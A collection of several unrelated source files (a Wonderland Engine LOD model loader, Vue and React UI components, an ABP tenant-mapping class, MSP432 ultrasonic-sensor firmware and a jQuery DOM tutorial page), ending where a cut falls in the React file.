import { loadImage } from './loadImage'; import { EXTENSION_NAME } from '../base/extension-name'; import { type SceneAppendParameters, Texture } from '@wonderlandengine/api'; import { Object3D } from '@wonderlandengine/api'; import type { Material, MeshComponent, WonderlandEngine } from '@wonderlandengine/api'; import type { ConvertedMaterial, ConvertedMaterialTextureName, ConvertedMaterialUniformName, LOD, Metadata } from '../base/output-types'; import type { ModelSplitterBasisLoader } from './ModelSplitterBasisLoader'; type ExtMeshData = Record<number, Record<string, { replacedMaterials: Array<[meshIdx: number, matIdx: number]> }>>; export class LODModelLoader { textures = new Map<string, Texture | null>(); cdnRoot?: string; constructor(public engine: WonderlandEngine, cdnRoot?: string, public basisLoader?: ModelSplitterBasisLoader, public timeout = 10000) { this.cdnRoot = cdnRoot === '' ? undefined : cdnRoot; if (this.cdnRoot !== undefined && this.cdnRoot.startsWith('~')) { this.cdnRoot = new URL(this.cdnRoot.substring(1), window.location.href).href; } } protected async downloadJSON(file: string): Promise<unknown> { if (file === '') { throw new Error('No file path specified'); } const urlAbs = new URL(file, this.cdnRoot); const reponse = await fetch(urlAbs); if (!reponse.ok) { throw new Error('Could not fetch JSON; not OK'); } return await reponse.json(); } protected async sceneAppend(file: string, options?: Partial<SceneAppendParameters>) { const modelURL = new URL(file, this.cdnRoot); return await this.engine.scene.append(modelURL.href, options); } protected async loadTextureSource(file: string): Promise<HTMLImageElement | HTMLVideoElement | HTMLCanvasElement> { return await loadImage(file, this.cdnRoot, this.timeout); } validateMetadata(obj: unknown): Metadata { if (obj === null || typeof obj !== 'object') { throw new Error('Downloaded metadata is not a JSON object'); } // TODO maybe do stricter validation here. maybe check against schema? if (!('lods' in obj) || !obj.lods) { throw new Error('Invalid metadata file'); } return obj as Metadata; } async loadMetadata(metadataURL: string): Promise<Metadata> { return this.validateMetadata(await this.downloadJSON(metadataURL)); } async loadFromLODArray(lods: Array<LOD>, lodLevel: number, avoidPBR: boolean, parent: Object3D | null = null, phongOpaqueTemplateMaterial?: Material, phongTransparentTemplateMaterial?: Material, pbrOpaqueTemplateMaterial?: Material, pbrTransparentTemplateMaterial?: Material) { // validate lod level and correct if necessary const lodMax = lods.length; if (lodLevel < 0) { console.warn('Negative LOD level. Corrected to 0'); lodLevel = 0; } else if (lodLevel >= lodMax) { lodLevel = lodMax - 1; console.warn(`LOD level exceeds maximum (lowest detail). Corrected to ${lodLevel}`); } // load model const result = await this.sceneAppend(lods[lodLevel].file, { loadGltfExtensions: true }); if (result === null) { throw new Error('Failed to load model'); } else if (result instanceof Object3D) { throw new Error('Unexpected Object3D result from Scene.append; expected SceneAppendResultWithExtensions'); } const { extensions, root } = result; if (root === null) { throw new Error('Failed to load model'); } // check if there are converted materials (external textures) let convertedMaterials: Array<ConvertedMaterial> | null = null; if (extensions.root) { const extRootData = extensions.root[EXTENSION_NAME]; if (extRootData && Array.isArray(extRootData.convertedMaterials)) { convertedMaterials = extRootData.convertedMaterials; } } // deactivate meshes so there isn't a flash of no textures, or flash // with wrong parent, if needed const deactivateList = new Array<MeshComponent>(); if (convertedMaterials !== null || parent !== null) { this.deactivateMeshes(root, deactivateList); } // apply materials if (convertedMaterials !== null) { const materials = await this.loadMaterials(convertedMaterials, avoidPBR, phongOpaqueTemplateMaterial, phongTransparentTemplateMaterial, pbrOpaqueTemplateMaterial, pbrTransparentTemplateMaterial); this.replaceMaterials(root, extensions.mesh as ExtMeshData, materials); } // reparent if (parent !== null) { root.parent = parent; } // reactivate meshes for (const mesh of deactivateList) { mesh.active = true; } return root; } async loadFromURL(metadataURL: string, lodLevel: number, avoidPBR: boolean, parent: Object3D | null = null, phongOpaqueTemplateMaterial?: Material, phongTransparentTemplateMaterial?: Material, pbrOpaqueTemplateMaterial?: Material, pbrTransparentTemplateMaterial?: Material) { return await this.load(await this.loadMetadata(metadataURL), lodLevel, avoidPBR, parent, phongOpaqueTemplateMaterial, phongTransparentTemplateMaterial, pbrOpaqueTemplateMaterial, pbrTransparentTemplateMaterial); } async load(metadata: Metadata, lodLevel: number, avoidPBR: boolean, parent: Object3D | null = null, phongOpaqueTemplateMaterial?: Material, phongTransparentTemplateMaterial?: Material, pbrOpaqueTemplateMaterial?: Material, pbrTransparentTemplateMaterial?: Material) { const lods = metadata.lods; if (!lods) { throw new Error("This metadata file doesn't contain root-only LOD data. Maybe it's a metadata file for depth-split models?"); } return await this.loadFromLODArray(lods, lodLevel, avoidPBR, parent, phongOpaqueTemplateMaterial, phongTransparentTemplateMaterial, pbrOpaqueTemplateMaterial, pbrTransparentTemplateMaterial); } private deactivateMeshes(root: Object3D, deactivateList: Array<MeshComponent>): void { const stack = [root]; while (stack.length > 0) { const next = stack.pop() as Object3D; const meshes = next.getComponents('mesh') as Array<MeshComponent>; for (const mesh of meshes) { mesh.active = false; deactivateList.push(mesh); } stack.push(...next.children); } } private async loadTexture(texSrc: string): Promise<Texture | null> { // download texture if not already loaded let texture = this.textures.get(texSrc) ?? null; if (texture) { return texture; } let needsRelease = false; try { let image: HTMLImageElement | HTMLCanvasElement | HTMLVideoElement; if (texSrc.toLowerCase().endsWith('.ktx2')) { if (this.basisLoader === undefined) { throw new Error("Can't load KTX2 image; ModelSplitterBasisLoader instance (this.basisLoader) not set in LODModelLoader"); } image = await this.basisLoader.loadFromUrl(texSrc, this.cdnRoot); needsRelease = true; } else { image = await this.loadTextureSource(texSrc); } texture = new Texture(this.engine, image); } catch (err) { console.error(err); console.warn(`Failed to download or initialize texture "${texSrc}"`); } if (needsRelease) { this.basisLoader?.done(); } if (texture !== null && !texture.valid) { console.warn(`Invalid texture "${texSrc}"; maybe the atlas is full?`); texture = null; } this.textures.set(texSrc, texture); return texture; } private transferUniform(srcMat: ConvertedMaterial, dstMat: Material, uniformName: ConvertedMaterialUniformName): boolean { const origValue = srcMat[uniformName] ?? null; if (origValue !== null) { // XXX WLE materials dont have proper uniform type definitions, so // we have to cast (dstMat as unknown as Record<string, unknown>)[uniformName] = origValue; return true; } else { return false; } } private async transferTextureUniform(srcMat: ConvertedMaterial, dstMat: Material, uniformName: ConvertedMaterialTextureName): Promise<boolean>; private async transferTextureUniform(srcMat: ConvertedMaterial, dstMat: Material, uniformName: string, srcUniformName: ConvertedMaterialTextureName): Promise<boolean>; private async transferTextureUniform(srcMat: ConvertedMaterial, dstMat: Material, uniformName: ConvertedMaterialTextureName | string, srcUniformName?: ConvertedMaterialTextureName): Promise<boolean> { const texSrc = srcMat[(srcUniformName ?? uniformName) as ConvertedMaterialTextureName] ?? null; if (texSrc !== null) { // XXX WLE materials dont have proper uniform type definitions, so // we have to cast const texture = await this.loadTexture(texSrc); if (texture) { (dstMat as unknown as Record<string, unknown>)[uniformName] = texture; } return true; } else { return false; } } private async loadMaterials(convertedMaterials: Array<ConvertedMaterial>, avoidPBR: boolean, phongOpaque?: Material, phongTransparent?: Material, pbrOpaque?: Material, pbrTransparent?: Material): Promise<Array<Material | null>> { const materials = new Array<Material | null>(); for (const rawMat of convertedMaterials) { // get template material and clone it const pbr = avoidPBR ? false : rawMat.pbr; const opaque = rawMat.opaque; let template: Material | undefined; if (pbr) { if (opaque) { template = pbrOpaque; } else { template = pbrTransparent; } } else { if (opaque) { template = phongOpaque; } else { template = phongTransparent; } } if (!template) { throw new Error(`Template material not available (${pbr ? 'PBR' : 'Phong'} ${opaque ? 'Opaque' : 'Transparent'})`); } const mat = template.clone(); if (mat === null) { console.warn('Failed to clone material, skipping'); materials.push(null); continue; } if (pbr) { // pbr if (await this.transferTextureUniform(rawMat, mat, 'albedoTexture')) { this.transferUniform(rawMat, mat, 'albedoFactor'); } if (await this.transferTextureUniform(rawMat, mat, 'roughnessMetallicTexture')) { this.transferUniform(rawMat, mat, 'metallicFactor'); this.transferUniform(rawMat, mat, 'roughnessFactor'); } } else { // phong // XXX diffuse texture requires special case, as it's always // present as the albedo for pbr materials await this.transferTextureUniform(rawMat, mat, 'diffuseTexture', 'albedoTexture'); } // common if (!opaque) { await this.transferTextureUniform(rawMat, mat, 'normalTexture'); if (await this.transferTextureUniform(rawMat, mat, 'emissiveTexture')) { this.transferUniform(rawMat, mat, 'emissiveFactor'); } this.transferUniform(rawMat, mat, 'alphaMaskThreshold'); } materials.push(mat); } return materials; } private replaceMaterials(root: Object3D, extMeshData: ExtMeshData, materials: Array<Material | null>) { if (materials.length === 0) { return; } const stack = [root]; while (stack.length > 0) { const next = stack.pop() as Object3D; const objExtList = extMeshData[next.objectId]; if (objExtList && objExtList[EXTENSION_NAME]) { const objExt = objExtList[EXTENSION_NAME]; const replacedMaterials = objExt.replacedMaterials; const meshComps = next.getComponents('mesh') as Array<MeshComponent>; for (const [meshIdx, matIdx] of replacedMaterials) { const mat = materials[matIdx]; if (mat) { meshComps[meshIdx].material = mat; } } } stack.push(...next.children); } } }
<template> <div class="textfield"> <label :for="id">{{ label }}</label> <input :type="type" :id="id" :placeholder="placeholder" :disabled="disabled" :required="required" :autocomplete="type" :value="modelValue" @input="$emit('update:modelValue', $event.target.value)" /> </div> </template> <script> export default { props: { id: { type: String, }, type: { type: String, default: "text", }, label: { type: String, }, placeholder: { type: String, }, disabled: { type: String, }, required: { type: Boolean, default: false, }, modelValue: { type: String, // Assuming modelValue is a string type }, }, emits: ["update:modelValue"], }; </script> <style> div.textfield { width: 100%; display: flex; flex-direction: column; label { color: white; width: 100%; margin-bottom: 1.5rem; font-weight: normal; } input { line-height: 40px; min-width: 100%; font-size: 1rem; text-indent: 0.5rem; margin: 0; border-radius: 0.5rem; } input:disabled { border: 2px solid #95989a; } &--disabled { input { border-color: #ccc; color: #eee; } label { color: #eee; } } &--error { input { border-color: red; color: green; } label { color: red; } } &--button { input { border-radius: 5px 0 0 5px; margin-right: 0.1rem; } } } </style>
using Microsoft.EntityFrameworkCore; using System; using Volo.Abp.Identity; using Volo.Abp.ObjectExtending; using Volo.Abp.TenantManagement; using Volo.Abp.Threading; using VumbaSoft.AdventureWorksAbp.MultiTenancy; namespace VumbaSoft.AdventureWorksAbp.EntityFrameworkCore; public static class AdventureWorksAbpEfCoreEntityExtensionMappings { private static readonly OneTimeRunner OneTimeRunner = new OneTimeRunner(); public static void Configure() { AdventureWorksAbpGlobalFeatureConfigurator.Configure(); AdventureWorksAbpModuleExtensionConfigurator.Configure(); OneTimeRunner.Run(() => { /* You can configure extra properties for the * entities defined in the modules used by your application. * * This class can be used to map these extra properties to table fields in the database. * * USE THIS CLASS ONLY TO CONFIGURE EF CORE RELATED MAPPING. * USE AdventureWorksAbpModuleExtensionConfigurator CLASS (in the Domain.Shared project) * FOR A HIGH LEVEL API TO DEFINE EXTRA PROPERTIES TO ENTITIES OF THE USED MODULES * * Example: Map a property to a table field: ObjectExtensionManager.Instance .MapEfCoreProperty<IdentityUser, string>( "MyProperty", (entityBuilder, propertyBuilder) => { propertyBuilder.HasMaxLength(128); } ); * See the documentation for more: * https://docs.abp.io/en/abp/latest/Customizing-Application-Modules-Extending-Entities */ ObjectExtensionManager.Instance.MapEfCoreProperty<Tenant, Guid>(MultiTenancyConsts.LocalityId, (entityBuilder, propertyBuilder) => { //propertyBuilder.HasMaxLength(AdventureWorksAbpSharedConsts.LongNameMaxLength); propertyBuilder.IsRequired(); } ); ObjectExtensionManager.Instance.MapEfCoreProperty<Tenant, string>(MultiTenancyConsts.Host, (entityBuilder, propertyBuilder) => { propertyBuilder.IsRequired(); propertyBuilder.HasMaxLength(AdventureWorksAbpSharedConsts.LongNameMaxLength); } ); ObjectExtensionManager.Instance.MapEfCoreProperty<Tenant, string>(MultiTenancyConsts.TenantConnectionString, (entityBuilder, propertyBuilder) => { propertyBuilder.IsRequired(); propertyBuilder.HasMaxLength(AdventureWorksAbpSharedConsts.LongNameMaxLength); } ); ObjectExtensionManager.Instance.MapEfCoreProperty<Tenant, bool>(MultiTenancyConsts.IsInTrial, (entityBuilder, propertyBuilder) => { //propertyBuilder.HasMaxLength(AdventureWorksAbpSharedConsts.LongNameMaxLength); } ); ObjectExtensionManager.Instance.MapEfCoreProperty<Tenant, DateTime>(MultiTenancyConsts.TrialStartDate, (entityBuilder, propertyBuilder) => { //propertyBuilder.HasMaxLength(AdventureWorksAbpSharedConsts.LongNameMaxLength); } ); ObjectExtensionManager.Instance.MapEfCoreProperty<Tenant, DateTime>(MultiTenancyConsts.TrialEndDate, (entityBuilder, propertyBuilder) => { //propertyBuilder.HasMaxLength(AdventureWorksAbpSharedConsts.LongNameMaxLength); } ); ObjectExtensionManager.Instance.MapEfCoreProperty<Tenant, bool>(MultiTenancyConsts.PaidOut, (entityBuilder, propertyBuilder) => { propertyBuilder.IsRequired(); //propertyBuilder.HasMaxLength(AdventureWorksAbpSharedConsts.LongNameMaxLength); } ); ObjectExtensionManager.Instance.MapEfCoreProperty<Tenant, Guid>(MultiTenancyConsts.PeriodPaidOutId, (entityBuilder, propertyBuilder) => { propertyBuilder.IsRequired(); //propertyBuilder.HasMaxLength(AdventureWorksAbpSharedConsts.LongNameMaxLength); } ); ObjectExtensionManager.Instance.MapEfCoreProperty<Tenant, DateTime>(MultiTenancyConsts.PaidStartDate, (entityBuilder, propertyBuilder) => { //propertyBuilder.HasMaxLength(AdventureWorksAbpSharedConsts.LongNameMaxLength); } ); ObjectExtensionManager.Instance.MapEfCoreProperty<Tenant, DateTime>(MultiTenancyConsts.PaidEndDate, (entityBuilder, propertyBuilder) => { //propertyBuilder.HasMaxLength(AdventureWorksAbpSharedConsts.LongNameMaxLength); } ); ObjectExtensionManager.Instance.MapEfCoreProperty<Tenant, bool>(MultiTenancyConsts.Disabled, (entityBuilder, propertyBuilder) => { propertyBuilder.IsRequired(); //propertyBuilder.HasMaxLength(AdventureWorksAbpSharedConsts.LongNameMaxLength); } ); ObjectExtensionManager.Instance.MapEfCoreProperty<Tenant, string>(MultiTenancyConsts.DisabledReason, (entityBuilder, propertyBuilder) => { propertyBuilder.HasMaxLength(AdventureWorksAbpSharedConsts.LongNameMaxLength); } ); ObjectExtensionManager.Instance.MapEfCoreProperty<Tenant, DateTime>(MultiTenancyConsts.BillPaidDate, (entityBuilder, propertyBuilder) => { //propertyBuilder.HasMaxLength(AdventureWorksAbpSharedConsts.LongNameMaxLength); } ); ObjectExtensionManager.Instance.MapEfCoreProperty<Tenant, DateTime>(MultiTenancyConsts.NextBillingDate, (entityBuilder, propertyBuilder) => { //propertyBuilder.HasMaxLength(AdventureWorksAbpSharedConsts.LongNameMaxLength); } ); ObjectExtensionManager.Instance.MapEfCoreProperty<Tenant, byte>(MultiTenancyConsts.NextBillingDiscount, (entityBuilder, propertyBuilder) => { //propertyBuilder.HasMaxLength(AdventureWorksAbpSharedConsts.LongNameMaxLength); propertyBuilder.HasDefaultValueSql("0"); } ); ObjectExtensionManager.Instance.MapEfCoreProperty<Tenant, bool>(MultiTenancyConsts.IsPremium, (entityBuilder, propertyBuilder) => { propertyBuilder.IsRequired(); //propertyBuilder.HasMaxLength(AdventureWorksAbpSharedConsts.LongNameMaxLength); } ); ObjectExtensionManager.Instance.MapEfCoreProperty<Tenant, bool>(MultiTenancyConsts.IsVip, (entityBuilder, propertyBuilder) => { propertyBuilder.IsRequired(); //propertyBuilder.HasMaxLength(AdventureWorksAbpSharedConsts.LongNameMaxLength); } ); ObjectExtensionManager.Instance.MapEfCoreProperty<Tenant, bool>(MultiTenancyConsts.IsLocked, (entityBuilder, propertyBuilder) => { propertyBuilder.IsRequired(); //propertyBuilder.HasMaxLength(AdventureWorksAbpSharedConsts.LongNameMaxLength); } ); ObjectExtensionManager.Instance.MapEfCoreProperty<Tenant, DateTime>(MultiTenancyConsts.LockedDate, (entityBuilder, propertyBuilder) => { //propertyBuilder.HasMaxLength(AdventureWorksAbpSharedConsts.LongNameMaxLength); } ); ObjectExtensionManager.Instance.MapEfCoreProperty<Tenant, string>(MultiTenancyConsts.LockedReason, (entityBuilder, propertyBuilder) => { propertyBuilder.HasMaxLength(AdventureWorksAbpSharedConsts.LongNameMaxLength); } ); ObjectExtensionManager.Instance.MapEfCoreProperty<Tenant, bool>(MultiTenancyConsts.Activated, (entityBuilder, propertyBuilder) => { propertyBuilder.IsRequired(); //propertyBuilder.HasMaxLength(AdventureWorksAbpSharedConsts.LongNameMaxLength); } ); ObjectExtensionManager.Instance.MapEfCoreProperty<Tenant, DateTime>(MultiTenancyConsts.ActivatedDate, (entityBuilder, propertyBuilder) => { //propertyBuilder.HasMaxLength(AdventureWorksAbpSharedConsts.LongNameMaxLength); } ); ObjectExtensionManager.Instance.MapEfCoreProperty<Tenant, string>(MultiTenancyConsts.ActivatedReason, (entityBuilder, propertyBuilder) => { propertyBuilder.HasMaxLength(AdventureWorksAbpSharedConsts.LongNameMaxLength); } ); ObjectExtensionManager.Instance.MapEfCoreProperty<Tenant, bool>(MultiTenancyConsts.Upgraded, (entityBuilder, propertyBuilder) => { propertyBuilder.IsRequired(); //propertyBuilder.HasMaxLength(AdventureWorksAbpSharedConsts.LongNameMaxLength); } ); ObjectExtensionManager.Instance.MapEfCoreProperty<Tenant, DateTime>(MultiTenancyConsts.UpgradedDate, (entityBuilder, propertyBuilder) => { //propertyBuilder.HasMaxLength(AdventureWorksAbpSharedConsts.LongNameMaxLength); } ); ObjectExtensionManager.Instance.MapEfCoreProperty<Tenant, string>(MultiTenancyConsts.PostalCode, (entityBuilder, propertyBuilder) => { propertyBuilder.IsRequired(); propertyBuilder.HasMaxLength(AdventureWorksAbpSharedConsts.ZipPostalCodeMaxLength); } ); ObjectExtensionManager.Instance.MapEfCoreProperty<Tenant, string>(MultiTenancyConsts.BusinessName, (entityBuilder, propertyBuilder) => { propertyBuilder.HasMaxLength(AdventureWorksAbpSharedConsts.LongNameMaxLength); } ); ObjectExtensionManager.Instance.MapEfCoreProperty<Tenant, Guid>(MultiTenancyConsts.CustomCareTypeId, (entityBuilder, propertyBuilder) => { //propertyBuilder.HasMaxLength(AdventureWorksAbpSharedConsts.LongNameMaxLength); } ); ObjectExtensionManager.Instance.MapEfCoreProperty<Tenant, string>(MultiTenancyConsts.LogoPath, (entityBuilder, propertyBuilder) => { propertyBuilder.HasMaxLength(AdventureWorksAbpSharedConsts.LongNameMaxLength); } ); ObjectExtensionManager.Instance.MapEfCoreProperty<Tenant, string>(MultiTenancyConsts.Remarks, (entityBuilder, propertyBuilder) => { propertyBuilder.HasMaxLength(AdventureWorksAbpSharedConsts.RemarksMaxLength); } ); }); } }
/* --COPYRIGHT--,BSD * Copyright (c) 2017, Texas Instruments Incorporated * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * * Neither the name of Texas Instruments Incorporated nor the names of * its contributors may be used to endorse or promote products derived * from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; * OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * --/COPYRIGHT--*/ /******************************************************************************* * MSP432 Timer Interrupt * * * MSP432P401 * ------------------ * /|\| | * | | | * --|RST P3.6 |---> Trigger * | | * | P3.7 |<--- Echo * | | * | | * ******************************************************************************/ /* Team Members: Lim Wei, Jourdan [2102516] Nasruddine Louahemmsabah [2100835] Perpetua Sorubha Raj [2101771] */ /* HEADER */ #include "ultrasonic.h" // ------------------------------------------------------------------------------------------------------------------- static void Delay(uint32_t loop) { volatile uint32_t i; for (i = 0 ; i < loop ; i++); } // ------------------------------------------------------------------------------------------------------------------- /* INITIALISING THE ULTRASONIC SENSOR*/ void initHCSR04(void) { /* Timer_A UpMode Configuration Parameters */ const Timer_A_UpModeConfig upConfig = { TIMER_A_CLOCKSOURCE_SMCLK, // SMCLK Clock Source = 3MHz TIMER_A_CLOCKSOURCE_DIVIDER_3, // 3MHz / 3 = 1MHz TICKPERIOD, // 1 / 1MHz * 1000 = 1ms TIMER_A_TAIE_INTERRUPT_DISABLE, // Disable Timer Interrupt TIMER_A_CCIE_CCR0_INTERRUPT_ENABLE , // Enable CCR0 Interrupt TIMER_A_DO_CLEAR // Clear Value }; // Configuring P1.0 as output // P1.0 - LED GPIO_setAsOutputPin(GPIO_PORT_P1, GPIO_PIN0); GPIO_setOutputLowOnPin(GPIO_PORT_P1, GPIO_PIN0); // Configuring P3.6 as output // P3.6 - Trigger GPIO_setAsOutputPin(GPIO_PORT_P3, GPIO_PIN6); GPIO_setOutputLowOnPin(GPIO_PORT_P3, GPIO_PIN6); // Configuring P3.7 as input // P3.7 - Echo GPIO_setAsInputPinWithPullDownResistor(GPIO_PORT_P3, GPIO_PIN7); // Configure interrupt at P3.7 // Low-to-High (Positive-Edge) GPIO_interruptEdgeSelect(GPIO_PORT_P3, GPIO_PIN7, GPIO_LOW_TO_HIGH_TRANSITION); // Clear the interrupt flag GPIO_clearInterruptFlag(GPIO_PORT_P3, GPIO_PIN7); // Enable the interrupt on P3.7 GPIO_enableInterrupt(GPIO_PORT_P3, GPIO_PIN7); // Enable the interrupt at P3 Interrupt_enableInterrupt(INT_PORT3); // Configuring Timer_A0 for Up Mode Timer_A_configureUpMode(TIMER_A0_BASE, &upConfig); // Enable the interrupt for Timer_A0 Interrupt_enableInterrupt(INT_TA0_0); // Clear the timer Timer_A_clearTimer(TIMER_A0_BASE); } // ------------------------------------------------------------------------------------------------------------------- /* GET THE PULSE DURATION */ static uint32_t getPulseTime(void) { uint32_t pulseTime = 0; // Number of times the interrupt occurred // 1 interrupt = 1000 ticks pulseTime = interruptCount * TICKPERIOD; // Excess ticks needs to be counted pulseTime += Timer_A_getCounterValue(TIMER_A0_BASE); // Clear the timer Timer_A_clearTimer(TIMER_A0_BASE); Delay(3000); return pulseTime; } // ------------------------------------------------------------------------------------------------------------------- /* LAUNCHES A PULSE FOR OBJECT DETECTION */ void launchPulse(void) { Delay(3000); // Output a pulse at P3.6 GPIO_setOutputHighOnPin(GPIO_PORT_P3, GPIO_PIN6); // 10us delay Delay(30); // Receive the pulse at P3.7 GPIO_setOutputLowOnPin(GPIO_PORT_P3, GPIO_PIN6); } // ------------------------------------------------------------------------------------------------------------------- /* KALMAN FILTER */ double kalmanFilter(double U) { // The higher R is, the more noise it will reduce // (but will also take longer) static const double R = 40; // Measurement map scalar static const double H = 1.00; // Initial estimated covariance static double Q = 10; // Initial error covariance (starts at 0) static double P = 0; // Filtered estimated static double U_hat = 0; // Kalman gain static double K = 0; // Update Kalman gain K = P * H / (H * P * H + R); // Update the estimate (U_hat) U_hat = U_hat + K * (U - H * U_hat); // Update error covariances P = (1 - K * H) * P + Q; return U_hat; } // ------------------------------------------------------------------------------------------------------------------- /* INTERRUPTS AFTER THE TIMER HITS A CERTAIN VALUE */ void TA0_0_IRQHandler(void) { // Increases by one after an interrupt // (counts the number of interrupts occurred) interruptCount++; // Clear the interrupt flag Timer_A_clearCaptureCompareInterrupt(TIMER_A0_BASE, TIMER_A_CAPTURECOMPARE_REGISTER_0); } // ------------------------------------------------------------------------------------------------------------------- /* REPLACES WHILE LOOP, INTERRUPT ONCE PULSE IS RECEIVED */ void PORT3_IRQHandler(void) { // Starts true static bool flag = true; // Get the status of the interrupted GPIO uint32_t status = GPIO_getEnabledInterruptStatus(GPIO_PORT_P3); // Low-to-High if (flag) { // Reset all variables pulseDuration = 0; interruptCount = 0; calculateDistance = 0; filteredDistance = 0; // Clear the timer Timer_A_clearTimer(TIMER_A0_BASE); // Start the timer Timer_A_startCounter(TIMER_A0_BASE, TIMER_A_UP_MODE); // High-to-Low (Negative Edge) GPIO_interruptEdgeSelect(GPIO_PORT_P3, GPIO_PIN7, GPIO_HIGH_TO_LOW_TRANSITION); } // High-to-Low else { // Char array to store the distance value char unfiltered[50]; char filtered[50]; // Stop the timer Timer_A_stopTimer(TIMER_A0_BASE); // Get the duration of the pulse pulseDuration = getPulseTime(); // Calculate the distance using the formula: // duration / 58.0f calculateDistance = pulseDuration / DISTANCE_FORMULA; // Filter the values using a Kalman Filter for a more accurate reading filteredDistance = kalmanFilter(calculateDistance); // If the distance is < the minimum distance (15.0f), if (filteredDistance < MIN_DISTANCE) { // Turn on the LED at P1.0 GPIO_setOutputHighOnPin(GPIO_PORT_P1, GPIO_PIN0); sprintf(unfiltered, "%f", calculateDistance); sprintf(filtered, "%f", filteredDistance); printf("\n%s", unfiltered); printf("\n%s", filtered); } // Else, else { // Turn off the LED at P1.0 GPIO_setOutputLowOnPin(GPIO_PORT_P1, GPIO_PIN0); } // Low-to-High (Positive Edge) GPIO_interruptEdgeSelect(GPIO_PORT_P3, GPIO_PIN7, GPIO_LOW_TO_HIGH_TRANSITION); } // Change the flag state flag = !flag; // Clear the interrupt flag of the GPIO GPIO_clearInterruptFlag(GPIO_PORT_P3, status); } // ------------------------------------------------------------------------------------------------------------------- /* MAIN FUNCTION */ uint32_t main(void) { initHCSR04(); while(1) { launchPulse(); } }
import { ref, computed } from "vue"; const state = ref({ //did a student or teacher log in isStudent: ref(false), userID: ref(''), //Menu options state that is equal to a list of options based on student or teacher state menuOptions: JSON.parse(localStorage.getItem("key")) || [], }); function setup(isStudent, userID) { state.value.isStudent = isStudent; state.value.userID = userID; console.log(userID) state.value.menuOptions = isStudent ? [ { option: "Add Classes", id: 4, path:"/addclasses" }, { option: "Drop Classes", id: 5, path:"/dropclasses" }, { option: "View Schedule", id: 2, path:"/schedule" }, { option: "Sign Out", id: 3, path:"/" }, ] : [ { option: "View Schedule", id: 2, path:"/schedule" }, { option: "Sign Out", id: 3, path:"/" }, ]; let string = JSON.stringify(state.value.menuOptions); localStorage.setItem("key", string); } function clearLocalStorage() { localStorage.removeItem("key"); } const getVersion = computed(() => state.value.isStudent); const getuserID = computed(() => state.value.userID); const getMenuOptions = computed(() => state.value.menuOptions); const getLoginTitle = computed(() => state.value.isStudent ? "Student Login" : "Teacher Login"); const getHomePageTitle = computed(() => state.value.isStudent ? "Welcome to the Student Home Page" : "Welcome to the Teacher Home Page"); export default { setup, clearLocalStorage, getMenuOptions, state, getVersion, getLoginTitle, getHomePageTitle, getuserID, };
<!DOCTYPE html> <html> <head> <title>TODO supply a title</title> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script src="jquery-3.2.1.min.js" type="text/javascript"></script> <style> /* Initial Page Appearance */ li { list-style: none; } .italic { font-style:italic; color: red;} #moveBtn { display: none;} </style> </head> <body> <input type="button" value="Click Here" id="btn"> <input type="button" value="Click to Move Mario" id="moveBtn" > <h1 id="mainTopic">jQuery API</h1> <h2>Table of Content</h2> <ul id="toc"> <li>Accessing</li> <li>HTML Content</li> <li>Form Element Content</li> <li>Image Content</li> <li>Style</li> <li>Behavior</li> </ul> <div> <input type="text" value="CONTENT"><br><br> <img src="img/css3.jpg"> <h1 class="titleH1">ACCESSING</h1> <p>This is the <span>first</span> step when developing a DHTML</p> <p>This is the last paragraph</p> </div> <script> $(function() { // Init Function $("#btn").click(changePage) ; }) function changePage() { // HOW TO ACCESS and MODIFY DOM OBJECTS // Using jQuery // // // Accessing DOM object with its "id" $("#mainTopic").prepend("NEW ").css({'font-style': 'italic', 'color':'#55F'}) ; $("#moveBtn").css("display", "inline").click(function() { var pos = $("#mario").offset(); pos.left += 4 ; $("#mario").offset(pos); }).after("<img src='img/mario.png' width='40' id='mario'>") ; $("#btn").css("display", "none") ; // Accessing all objects having the same type $("li").css('color' , 'green').append(' - list item') ; $("div p").addClass("italic"); // Accessing objects with CSS selectors. $("div p span").css({'font-weight':'bold', 'background-color': 'yellow'}) ; // Access image object and change its content $("div > img:first").attr("src", "img/html5.png"); // set/get form elements var content = $("div input").val() ; content = "NEW " + content ; $("div input").val(content) ; // Add new object. $("<h2>Sub-Heading from jQuery</h2>").insertAfter("#mainTopic") ; // Delete an object. $("div p:last").remove(); } </script> </body> </html>
import React from 'react'; import { useNavigate } from 'react-router-dom'; import useAuth from '../../Hooks/useAuth'; import Rating from 'react-rating'; const Course = props => { const { description, title, rating, img } = props.course; const { user } = useAuth(); const navigate = useNavigate(); const handelButton = () => { { !user?.email ? navigate("/login") : navigate("/details") } } return ( // card section <div data-aos="zoom-in" className="w-[350px] flex flex-col items-center justify-start p-[5px] m-auto my-5 bg-white shadow-white drop-shadow-3xl shadow-3xl hover:bg-white rounded hover:translate-y-2 hover:duration-500 duration-500"> {/* image section */} <div> <img src={img} className="rounded w-full" alt={title} /> </div> {/* card info */} <div className="flex flex-col gap-2"> <h3 className='font-mono text-lg mt-2 font-bold tracking-tighter'>{title}</h3> <p>{description}</p> <Rating emptySymbol="fa fa-star-o fa-2x text-amber-200 text-base" fullSymbol="fa fa-star fa-2x text-amber-200 text-base" initialRating={rating} readonly /> <button onClick={handelButton} className='rounded-full py-2 px-3 font-medium bg-gray-800 text-white 